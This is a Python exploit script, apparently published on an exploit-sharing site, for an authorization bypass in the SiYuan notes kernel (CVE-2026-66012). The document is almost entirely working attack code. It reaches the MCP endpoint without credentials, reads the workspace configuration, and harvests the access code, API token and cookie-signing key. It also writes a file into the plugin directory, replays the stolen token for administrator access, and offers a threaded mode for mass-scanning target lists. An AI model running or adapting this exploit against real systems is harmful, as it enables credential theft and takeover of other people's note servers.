## https://sploitus.com/exploit?id=PACKETSTORM:227568
#!/usr/bin/env python3
"""
CVE-2026-66012 - SiYuan unauthenticated MCP access -> workspace file read/write -> admin takeover
Affected: SiYuan kernel 3.7.0 <= v < 3.7.2 (fixed in 3.7.2)
Type: Auth Bypass (missing authorization, CWE-862) chained to arbitrary file read/write
The kernel registers POST /mcp behind model.CheckAuth only, with no CheckAdminRole and no
CheckReadonly. CheckAuth is a presence check that accepts RoleReader. When the Publish
reverse proxy runs in anonymous mode (Conf.Publish.Enable=true, Conf.Publish.Auth.Enable=false)
it stamps every proxied request with the anonymous RoleReader JWT, so an attacker with no
credentials at all reaches all 31 MCP tools through the Publish port. The `file` tool exposes
list/read/write/delete/rename/copy over the whole workspace, which yields conf/conf.json in
plaintext: accessAuthCode, api.token and cookieKey.
Target the PUBLISH port (default 6808), not the kernel port. Send no credentials: the proxy
overwrites X-Auth-Token with the anonymous JWT, so anything you supply is discarded.
Usage:
python exploit.py --host <target> --port 6808
python exploit.py --host 192.168.1.10 --port 6808 --kernel-port 6806
python exploit.py --host 192.168.1.10 --file data/storage/petal/petals.json
python exploit.py --host https://notes.corp.com:6808/mcp
python exploit.py --host 192.168.1.10 --no-write # read-only, touch nothing
python exploit.py --list targets.txt --workers 20
"""
import argparse
import http.client
import json
import ssl
import sys
import uuid
from urllib.parse import urlparse
CVE_ID = "CVE-2026-66012"
VULN_TYPE = "Auth Bypass"
PROTO_2026 = "2026-07-28" # sessionless MCP path: handlePost2026, no initialize needed
PROTO_CLASSIC = "2025-06-18" # fallback: initialize -> Mcp-Session-Id -> tools/call
CONF_PATH = "conf/conf.json" # workspace-relative, holds the secrets in cleartext
DEFAULT_MCP_PATH = "/mcp"
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ---------------------------------------------------------------- helpers
def _loads(data: bytes):
"""Parse a JSON body. Tolerates SSE framing (`data: {...}`) and returns None on junk."""
if not data:
return None
text = data.decode("utf-8", "replace").strip()
if text.startswith("data:"):
lines = [l[5:].strip() for l in text.splitlines() if l.startswith("data:")]
text = "".join(lines)
try:
return json.loads(text)
except ValueError:
return None
def _get_header(headers: dict, name: str):
low = name.lower()
for k, v in headers.items():
if k.lower() == low:
return v
return None
class MCPClient:
"""Minimal MCP-over-HTTP client. Network I/O only, no credentials ever sent."""
def __init__(self, host, port, use_tls=False, path=DEFAULT_MCP_PATH, timeout=15.0):
self.host = host
self.port = port
self.use_tls = use_tls
self.path = path or DEFAULT_MCP_PATH
self.timeout = timeout
self.session_id = None
self.mode = None # "2026" once the sessionless path is confirmed, else "classic"
self.last_status = None
def _conn(self):
if self.use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return http.client.HTTPSConnection(self.host, self.port, timeout=self.timeout, context=ctx)
return http.client.HTTPConnection(self.host, self.port, timeout=self.timeout)
def _post(self, payload, extra=None):
body = json.dumps(payload).encode()
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
# identity keeps the global gzip middleware from compressing the reply
"Accept-Encoding": "identity",
"Content-Length": str(len(body)),
"User-Agent": UA,
}
if extra:
headers.update(extra)
conn = self._conn()
try:
conn.request("POST", self.path, body=body, headers=headers)
resp = conn.getresponse()
data = resp.read()
self.last_status = resp.status
return resp.status, dict(resp.getheaders()), data
finally:
try:
conn.close()
except Exception:
pass
def _handshake(self):
"""Classic path: initialize, keep the Mcp-Session-Id the server hands back."""
payload = {
"jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": {
"protocolVersion": PROTO_CLASSIC,
"capabilities": {},
"clientInfo": {"name": "mcp-client", "version": "1.0"},
},
}
status, headers, data = self._post(payload)
if status != 200:
return False
sid = _get_header(headers, "Mcp-Session-Id")
if sid:
self.session_id = sid
return True
def rpc(self, method, params=None, rid=1):
"""Issue one JSON-RPC call. Returns (http_status, parsed_json_or_None, raw_bytes)."""
payload = {"jsonrpc": "2.0", "id": rid, "method": method}
if params is not None:
payload["params"] = params
# Preferred: single sessionless request on the 2026-07-28 protocol path.
# Mcp-Method is deliberately omitted (if sent it must equal the body method, else 400).
if self.mode in (None, "2026"):
status, headers, data = self._post(payload, {"MCP-Protocol-Version": PROTO_2026})
if status == 200:
self.mode = "2026"
return status, _loads(data), data
# 401/403 are authorization verdicts, not protocol problems: report them as-is.
if self.mode == "2026" or status in (401, 403):
return status, _loads(data), data
# Fallback: session-based handshake for builds without the 2026 branch.
if self.session_id is None and not self._handshake():
return self.last_status, None, b""
self.mode = "classic"
extra = {"Mcp-Session-Id": self.session_id} if self.session_id else {}
status, headers, data = self._post(payload, extra)
return status, _loads(data), data
def tools_list(self):
status, parsed, raw = self.rpc("tools/list", rid=1)
tools = []
if isinstance(parsed, dict):
tools = (parsed.get("result") or {}).get("tools") or []
return status, tools, raw
def file_tool(self, action, rid=2, **arguments):
"""Call the `file` tool. Returns (http_status, text_or_None, is_error, raw)."""
arguments["action"] = action
status, parsed, raw = self.rpc("tools/call", {"name": "file", "arguments": arguments}, rid=rid)
if not isinstance(parsed, dict):
return status, None, True, raw
result = parsed.get("result")
if not isinstance(result, dict):
return status, None, True, raw
# A failed tool call still returns HTTP 200: isError sits inside result, not as a
# JSON-RPC error member.
is_error = bool(result.get("isError"))
text = None
content = result.get("content")
if isinstance(content, list) and content:
first = content[0]
if isinstance(first, dict):
text = first.get("text")
return status, text, is_error, raw
def read_file(self, path, rid=2):
# limit=-1 defeats the 200-line default truncation in fileRead; conf.json is longer.
return self.file_tool("read", rid=rid, path=path, limit=-1)
def _api_call(host, port, use_tls, endpoint, token=None, timeout=15.0):
"""POST a kernel API endpoint. Used for the privilege-escalation rung on the kernel port."""
body = b"{}"
headers = {
"Content-Type": "application/json",
"Accept-Encoding": "identity",
"Content-Length": str(len(body)),
"User-Agent": UA,
}
if token:
headers["Authorization"] = "Token " + token
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
else:
conn = http.client.HTTPConnection(host, port, timeout=timeout)
try:
conn.request("POST", endpoint, body=body, headers=headers)
resp = conn.getresponse()
return resp.status, resp.read()
finally:
try:
conn.close()
except Exception:
pass
def _harvest(conf_text):
"""Pull the three secrets out of a raw conf.json string."""
out = {}
try:
conf = json.loads(conf_text)
except (ValueError, TypeError):
return out
if not isinstance(conf, dict):
return out
if isinstance(conf.get("accessAuthCode"), str):
out["accessAuthCode"] = conf["accessAuthCode"]
if isinstance(conf.get("cookieKey"), str):
out["cookieKey"] = conf["cookieKey"]
api = conf.get("api")
if isinstance(api, dict) and isinstance(api.get("token"), str):
out["token"] = api["token"]
return out
def _excerpt(text, head=900, tail=900):
"""Head+tail view. conf.json buries the secrets past a long `langs` array, so a plain
head-only truncation would cut away the exact evidence the read proves."""
if len(text) <= head + tail:
return text
omitted = len(text) - head - tail
return (text[:head] + f"\n\n...[{omitted} bytes omitted from this display only - "
f"the full {len(text)}-byte file was returned by the server]...\n\n" + text[-tail:])
def _diagnose(status, raw):
"""Turn a non-exploitable response into a one-line reason."""
if status in (401, 403):
return f"blocked - HTTP {status} on /mcp (patched: CheckAdminRole rejects the anonymous RoleReader)"
text = (raw or b"").decode("utf-8", "replace").strip()
if '"code":-1' in text and "Auth" in text:
return "blocked - Publish basic auth is enabled (not anonymous mode)"
snippet = text[:120].replace("\n", " ")
return f"no MCP tool list in response (HTTP {status}) {snippet}".strip()
# ---------------------------------------------------------------- scan mode
def _try_exploit(host, port, use_tls, path=DEFAULT_MCP_PATH, timeout=10.0):
"""Silent probe for --list. Read-only: never writes to the target. Never prints or exits."""
try:
mcp = MCPClient(host, port, use_tls, path, timeout=timeout)
status, tools, raw = mcp.tools_list()
if not tools:
return False, _diagnose(status, raw)
names = [t.get("name") for t in tools if isinstance(t, dict)]
if "file" not in names:
return True, f"{len(tools)} MCP tools exposed unauthenticated, but no `file` tool"
_, text, is_error, _ = mcp.read_file(CONF_PATH)
if is_error or not text:
return True, f"{len(tools)} MCP tools reachable unauthenticated; {CONF_PATH} unreadable"
secrets = _harvest(text)
if not secrets:
return True, f"{len(tools)} MCP tools reachable unauthenticated; read {len(text)} bytes of {CONF_PATH}"
bits = []
if "accessAuthCode" in secrets:
bits.append("accessAuthCode=" + (secrets["accessAuthCode"] or "<empty>"))
if "token" in secrets:
bits.append("api.token=" + secrets["token"])
if "cookieKey" in secrets:
bits.append("cookieKey=" + secrets["cookieKey"])
return True, f"{len(tools)} tools, secrets recovered: " + ", ".join(bits)
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
def _parse_target(line, default_port, default_path=DEFAULT_MCP_PATH):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
ok, evidence = _try_exploit(host, port, use_tls, path)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ---------------------------------------------------------------- single target
def exploit(host, port, use_tls, path, target_file, kernel_port, do_write, timeout):
header(host, port)
mcp = MCPClient(host, port, use_tls, path, timeout=timeout)
# Rung 1 - unauthenticated reach. No cookie, no Authorization, no credentials of any kind.
step(1, f"POST {path} with no credentials (MCP-Protocol-Version: {PROTO_2026}) - listing tools")
status, tools, raw = mcp.tools_list()
if not tools:
reason = _diagnose(status, raw)
section("SERVER RESPONSE", (raw or b"<empty body>").decode("utf-8", "replace")[:600] or "<empty body>")
done(False, reason)
names = sorted(t.get("name") for t in tools if isinstance(t, dict))
section("EXPOSED MCP TOOLS (unauthenticated)",
f"HTTP {status} | {len(tools)} tools reachable with zero credentials\n" + ", ".join(names))
if "file" not in names:
done(True, f"Missing authorization confirmed - {len(tools)} MCP tools exposed unauthenticated, but no `file` tool")
print(f" -> `file` tool present (list/read/write/delete/rename/copy over the whole workspace)\n")
# Rung 2 - arbitrary workspace read.
step(2, f"Reading `{target_file}` through the file tool (limit=-1 defeats the 200-line default)")
status, text, is_error, raw = mcp.read_file(target_file, rid=2)
if is_error or text is None:
section("TOOL RESPONSE", (raw or b"").decode("utf-8", "replace")[:600] or "<empty body>")
done(True, f"Missing authorization confirmed - {len(tools)} MCP tools exposed unauthenticated, "
f"but `{target_file}` could not be read")
section(f"FILE CONTENT ({target_file}) - {len(text)} bytes", _excerpt(text))
# Credential harvest. conf/conf.json is where the secrets live; if the operator pointed
# --file elsewhere, fetch it separately so the escalation rung stays available.
secrets = _harvest(text)
if not secrets and target_file != CONF_PATH:
step(3, f"Harvesting credentials from `{CONF_PATH}`")
_, conf_text, conf_err, _ = mcp.read_file(CONF_PATH, rid=3)
if not conf_err and conf_text:
secrets = _harvest(conf_text)
section(f"CREDENTIAL FILE ({CONF_PATH}) - {len(conf_text)} bytes", _excerpt(conf_text, 600, 900))
if secrets:
lines = []
if "accessAuthCode" in secrets:
lines.append(f"accessAuthCode : {secrets['accessAuthCode'] or '<empty>'} (instance lock-screen password, plaintext on disk)")
if "token" in secrets:
lines.append(f"api.token : {secrets['token']} (maps to RoleAdministrator in CheckAuth)")
if "cookieKey" in secrets:
lines.append(f"cookieKey : {secrets['cookieKey']} (HMAC key for session cookies - offline admin cookie forgery)")
section("STOLEN CREDENTIALS", "\n".join(lines))
# Rung 4 - arbitrary workspace write, proven by a byte-for-byte round trip.
write_ok = False
marker_dir = None
if do_write:
marker = "alim-" + uuid.uuid4().hex[:10]
marker_dir = "data/plugins/" + marker
marker_path = marker_dir + "/index.js"
payload = f"// {CVE_ID} write-primitive proof - inert marker {marker}"
step(4, f"Writing `{marker_path}` (the real plugin-planting location), then reading it back")
_, wtext, werr, wraw = mcp.file_tool("write", rid=4, path=marker_path, data=payload)
if werr:
section("WRITE RESPONSE", (wraw or b"").decode("utf-8", "replace")[:400])
else:
_, back, berr, _ = mcp.read_file(marker_path, rid=5)
write_ok = (not berr) and back is not None and back.strip() == payload.strip()
section("WRITE ROUND TRIP",
f"server said : {wtext}\n"
f"wrote : {payload}\n"
f"read back : {back}\n"
f"identical : {write_ok}")
# Clean up our own marker only. Never delete data/, conf/ or repo/.
_, dtext, derr, _ = mcp.file_tool("delete", rid=6, path=marker_dir)
print(f" -> cleanup: {'deleted ' + marker_dir if not derr else 'FAILED to delete ' + marker_dir}\n")
else:
step(4, "Write proof skipped (--no-write): target left untouched")
# Rung 3 - the stolen api.token is Administrator, but only on the kernel port. Through the
# Publish proxy the anonymous RoleReader JWT overwrites X-Auth-Token, so we must go direct.
admin_ok = False
token = secrets.get("token")
if token and kernel_port:
step(5, f"Escalating: replaying the stolen api.token against the kernel port {kernel_port} (/api/system/getConf)")
try:
a_status, a_body = _api_call(host, kernel_port, use_tls, "/api/system/getConf", token=token, timeout=timeout)
n_status, n_body = _api_call(host, kernel_port, use_tls, "/api/system/getConf", token=None, timeout=timeout)
a_text = a_body.decode("utf-8", "replace")
n_text = n_body.decode("utf-8", "replace")
admin_ok = a_status == 200 and '"code":0' in a_text
section("ADMINISTRATOR API ACCESS (kernel port)",
f"with stolen token : HTTP {a_status} {a_text[:220]}\n"
f"without token : HTTP {n_status} {n_text[:220]}")
except Exception as e:
section("ADMINISTRATOR API ACCESS (kernel port)",
f"kernel port {kernel_port} not reachable from here ({e.__class__.__name__}) - "
f"escalation rung not demonstrated, the stolen token remains valid against it")
elif not token:
step(5, "Escalation skipped: no api.token recovered")
# Verdict, strongest primitive first.
parts = [f"{len(tools)} MCP tools reachable with zero credentials"]
if "accessAuthCode" in secrets:
parts.append(f"accessAuthCode='{secrets['accessAuthCode']}'")
if "token" in secrets:
parts.append(f"api.token='{secrets['token']}'")
if "cookieKey" in secrets:
parts.append(f"cookieKey='{secrets['cookieKey']}'")
if write_ok:
parts.append("arbitrary workspace write round-tripped under data/plugins/")
if admin_ok:
parts.append("stolen token accepted as Administrator on the kernel API (code:0)")
done(True, "Unauthenticated MCP access - " + "; ".join(parts))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:6808/mcp)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=6808,
help="Publish proxy port - the unauthenticated one (default: 6808)")
parser.add_argument("--file", default=CONF_PATH,
help=f"Workspace-relative file to read (default: {CONF_PATH})")
parser.add_argument("--kernel-port", type=int, default=6806,
help="Kernel API port for the privilege-escalation rung (default: 6806, 0 to skip)")
parser.add_argument("--no-write", action="store_true",
help="Skip the write-primitive proof and leave the target untouched")
parser.add_argument("--timeout", type=float, default=15.0, help="Socket timeout in seconds (default: 15)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, DEFAULT_MCP_PATH)
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.file, args.kernel_port, not args.no_write, args.timeout)